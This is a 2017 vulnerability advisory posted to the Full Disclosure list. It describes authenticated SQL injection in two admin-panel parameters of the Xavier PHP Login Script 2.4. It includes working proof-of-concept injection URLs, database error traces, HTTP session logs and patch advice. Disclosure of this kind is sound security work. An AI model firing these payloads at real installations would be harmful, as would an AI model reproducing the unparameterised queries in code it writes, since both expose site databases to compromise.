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[FD] Xavier v2.4 PHP MP - SQL Injection Web Vulnerabilities

To: fulldisclosure@xxxxxxxxxxxx
Subject: [FD] Xavier v2.4 PHP MP - SQL Injection Web Vulnerabilities
From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
Date: Wed, 7 Jun 2017 09:20:55 +0200
Document Title:
===============
Xavier v2.4 PHP MP - SQL Injection Web Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2076


Release Date:
=============
2017-06-06


Vulnerability Laboratory ID (VL-ID):
====================================
2076


Common Vulnerability Scoring System:
====================================
5.3


Vulnerability Class:
====================
SQL Injection


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
The script can easily be dropped in to an existing website allowing you to 
protect pages by adding one line of PHP code at the top of a page. 
You can also protect sections of pages. Secure your web pages or sections of 
content dependant on whether your users are logged in or out, 
or whether they are a member of a User Group. Or secure your pages dependent on 
whether you are logged on as an administrator.

(Copy of the Homepage:  
https://codecanyon.net/item/xavier-php-login-script-user-management/9146226 )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple 
sql-injection web vulnerabilities in the Xavier PHP Login Script & User 
Management Admin Panel v2.4 web-application.


Vulnerability Disclosure Timeline:
==================================
2017-06-06: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Siggles
Product: Xavier - PHP Login Script & User Management Admin Panel 2.4


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
Multiple sql-injection vulnerabilities has been discovered in the Xavier PHP 
Login Script & User Management Admin Panel web-application.
The issue allows remote attackers to inject own malicious sql commands to 
compromise the web-application & database management system.

The sql-injection vulnerabilities are located in the `usertoedit` and `log_id` 
parameters of the `adminuserdit.php` and `editgroup.php` files.
Remote attackers with privileged user accounts are able to compromise the 
web-application and database management system by injection of sql 
commands via GET method request. The attacker vector is client-side and the 
request method to inject the sql commands is GET. The vulnerability 
is a classic order by sql-injection.

The security risk of the sql-injection web vulnerability is estimated as medium 
with a common vulnerability scoring system count of 5.3. 
Exploitation of the remote sql-injection web vulnerability requires an 
authenticated web-application user account and no user interaction. 
Successful exploitation of the sql-injection web vulnerability results in 
web-application or database management system compromise.

Request Method(s):
[+] GET

Vulnerable File(s):
[+] adminuseredit.php
[+] editgroup.php

Vulnerable Parameter(s):
[+] usertoedit
[+] log_id


Proof of Concept (PoC):
=======================
The remote sql-injection vulnerability can be exploited by authenticated user 
accounts without user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.


PoC: Example
https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=[SQL-INJECTION
 VULNERABILITY!]
https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=[SQL-INJECTION
 VULNERABILITY!]


PoC: Exploitation
https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=1%20order%20by%203--
https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=1%20order%20by%203--


--- SQL Error & Exception Logs ---
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42S22]: 
Column not found: 1054 Unknown column '100' in 'order clause'' 
in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:300 Stack 
trace: 
#0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(300): 
PDO->query('SELECT * FROM `...') 
#1 /home/angry/public_html/xavier-demo/admin/editgroup.php(11): 
Functions->returnGroupInfo(Object(Database), '1 order by 100-...') 
#2 {main} thrown in 
/home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 300
-
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: 
Syntax error or access violation: 1064 You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right 
syntax to use near ''' at line 1' 
in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:300 Stack 
trace: 
#0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(300): 
PDO->query('SELECT * FROM `...') 
#1 /home/angry/public_html/xavier-demo/admin/editgroup.php(11): 
Functions->returnGroupInfo(Object(Database), ''') 
#2 {main} thrown in 
/home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 300
-
Fatal error: Uncaught exception 'PDOException' with message 'SQLSTATE[42000]: 
Syntax error or access violation: 1064 You have an error in your SQL syntax; 
check the manual that corresponds to your MySQL server version for the right 
syntax to use near '''' at line 1' 
in /home/angry/public_html/xavier-demo/admin/includes/Functions.php:59 Stack 
trace: 
#0 /home/angry/public_html/xavier-demo/admin/includes/Functions.php(59): 
PDO->query('SELECT username...') 
#1 /home/angry/public_html/xavier-demo/admin/adminuseredit.php(26): 
Functions->usernameTaken('-1' -1'') 
#2 {main} thrown in 
/home/angry/public_html/xavier-demo/admin/includes/Functions.php on line 59


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET 
https://xavier-php.localhost:8080/xavier/admin/editgroup.php?log_id=%27[SQL-INJECTION
 VULNERABILITY!]-- 
Mime Type[text/html]
   Request Header:
      Host[xavier-php.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 
Firefox/53.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[PHPSESSID=6b9f9560a6a0d35b12b8603424cf2525]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Server[Apache]
      Keep-Alive[timeout=2, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]
-
20:49:05.559[216ms][total 277ms] Status: 200[OK]
GET 
https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php?usertoedit=%27[SQL-INJECTION
 VULNERABILITY!]-- 
Mime Type[text/html]
   Request Header:
      Host[xavier-php.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 
Firefox/53.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Cookie[PHPSESSID=6b9f9560a6a0d35b12b8603424cf2525]
      Connection[keep-alive]
      Upgrade-Insecure-Requests[1]
   Response Header:
      Server[Apache]
      Keep-Alive[timeout=2, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]
      Content-Type[text/html]


Reference(s):
https://xavier-php.localhost:8080/
https://xavier-php.localhost:8080/xavier/
https://xavier-php.localhost:8080/xavier/admin/
https://xavier-php.localhost:8080/xavier/admin/editgroup.php
https://xavier-php.localhost:8080/xavier/admin/adminuseredit.php


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a parse via escape of the vulnerable 
parameters in the affected php files.
Restrict the prameter input and use a prepared statement to secure the 
functions of the admin panel.
Disallow to preview errors in the php code of the panel to prevent attacks.


Security Risk:
==============
The security risk of the sql-injection vulnerability in the web panel of the 
xavier application is estimated as medium (CVSS 5.3).


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)


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=========================
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